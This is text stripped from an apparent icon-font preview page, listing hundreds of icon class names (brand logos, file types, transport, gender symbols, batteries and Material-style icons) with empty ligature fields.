+
+ liga: + +
+
+
+
+ + + + icon-cubes +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-behance +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-behance-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-steam +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-steam-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-recycle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-automobile +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-car +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cab +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-taxi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tree +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-spotify +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-deviantart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-soundcloud +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-database +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-pdf-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-word-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-excel-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-powerpoint-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-image-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-photo-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-picture-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-archive-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-zip-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-audio-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-sound-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-movie-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-video-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file-code-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vine +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-codepen +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-jsfiddle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-life-bouy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-life-buoy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-life-ring +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-life-saver +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-support +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-circle-o-notch +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ra +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rebel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-resistance +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-empire +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ge +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-git-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-git +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hacker-news +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-y-combinator-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yc-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tencent-weibo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-qq +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wechat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-weixin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paper-plane +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-send +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paper-plane-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-send-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-history +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-circle-thin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-header +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paragraph +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sliders +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share-alt-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bomb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-futbol-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-soccer-ball-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-binoculars +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plug +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-slideshare +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-twitch +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yelp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-newspaper-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wifi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calculator +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paypal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google-wallet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-visa +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-mastercard +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-discover +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-amex +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-paypal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-stripe +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bell-slash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bell-slash-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-copyright +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-at +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eyedropper +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-paint-brush +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-birthday-cake +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-area-chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pie-chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-line-chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lastfm +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lastfm-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toggle-on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bicycle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ioxhost +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-angellist +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ils +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shekel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sheqel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-meanpath +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-buysellads +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-connectdevelop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dashcube +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forumbee +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-leanpub +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sellsy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shirtsinbulk +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-simplybuilt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-skyatlas +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cart-plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cart-arrow-down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-diamond +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ship +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-secret +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-motorcycle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-street-view +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-heartbeat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-venus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mars +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mercury +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-intersex +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-transgender +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-transgender-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-venus-double +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mars-double +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-venus-mars +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mars-stroke +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mars-stroke-v +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mars-stroke-h +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-neuter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-genderless +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-facebook-official +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pinterest-p +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-whatsapp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-server +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-times +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hotel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-viacoin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-train +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subway +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-medium +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-y-combinator +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-optin-monster +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-opencart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-expeditedssl +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-4 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-three-quarters +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-half +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-quarter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-0 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery-empty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mouse-pointer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-i-cursor +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-object-group +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-object-ungroup +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sticky-note +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sticky-note-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-jcb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cc-diners-club +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-clone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-balance-scale +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-start +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-half +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass-end +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-grab-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-rock-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-paper-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-stop-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-scissors-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-lizard-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-spock-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-pointer-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hand-peace-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trademark +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-registered +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-creative-commons +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gg +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gg-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tripadvisor +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-odnoklassniki +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-odnoklassniki-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-get-pocket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wikipedia-w +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-safari +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chrome +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-firefox +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-opera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-internet-explorer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-television +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tv +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-contao +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-500px +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-amazon +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar-plus-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar-minus-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar-times-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-calendar-check-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-industry +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map-pin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map-signs +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-commenting +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-commenting-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-houzz +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vimeo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-black-tie +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fonticons +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reddit-alien +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-edge +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-credit-card-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-codiepie +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-modx +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fort-awesome +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-usb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-product-hunt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mixcloud +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-scribd +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stop-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stop-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shopping-bag +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shopping-basket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hashtag +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth-b +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-percent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gitlab +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wpbeginner +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wpforms +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envira +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-universal-access +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wheelchair-alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-question-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-blind +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-audio-description +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume-control-phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-braille +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assistive-listening-systems +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-american-sign-language-interpreting +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-asl-interpreting +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-deaf +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-deafness +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hard-of-hearing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-glide +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-glide-g +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sign-language +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-low-vision +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-viadeo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-viadeo-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-snapchat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-snapchat-ghost +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-snapchat-square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pied-piper +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-first-order +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-yoast +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-themeisle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google-plus-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-google-plus-official +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fa +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-font-awesome +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-handshake-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envelope-open +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-envelope-open-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-address-book +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-address-book-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-address-card +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vcard +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-address-card-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vcard-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-circle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-user-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-id-badge +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-drivers-license +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-id-card +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-drivers-license-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-id-card-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-quora +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-free-code-camp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-telegram +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-4 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-three-quarters +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-half +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-quarter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-0 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thermometer-empty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shower +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bath +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bathtub +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-s15 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-podcast +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-window-maximize +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-window-minimize +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-window-restore +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-times-rectangle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-window-close +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-times-rectangle-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-window-close-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bandcamp +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-grav +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-etsy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-imdb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ravelry +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eercast +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-microchip +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-snowflake-o +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-superpowers +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wpexplorer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-meetup +
+
+ + +
+
+ liga: + +
+
+
+
+

Grid Size: 24

+
+
+ + + + icon-3d_rotation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ac_unit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-alarm +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-access_alarms +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-schedule +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-accessibility +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-accessible +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-account_balance +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-account_balance_wallet +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-account_box +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-account_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-adb +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_a_photo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-alarm_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_alert +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_box +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-control_point +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_location +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_shopping_cart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-queue +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-add_to_queue +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-adjust2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_flat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_flat_angled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_individual_suite +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_legroom_extra +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_legroom_normal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_legroom_reduced +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_recline_extra +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airline_seat_recline_normal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flight +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airplanemode_inactive +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airplay +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-airport_shuttle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-alarm_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-alarm_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-album +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-all_inclusive +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-all_out +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-android2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-announcement +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-apps +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-archive2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_back +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_downward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_drop_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_drop_down_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_drop_up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-arrow_upward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-art_track +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-aspect_ratio +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-poll +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assignment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assignment_ind +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assignment_late +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assignment_return +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assignment_returned +
+
+ + +
+
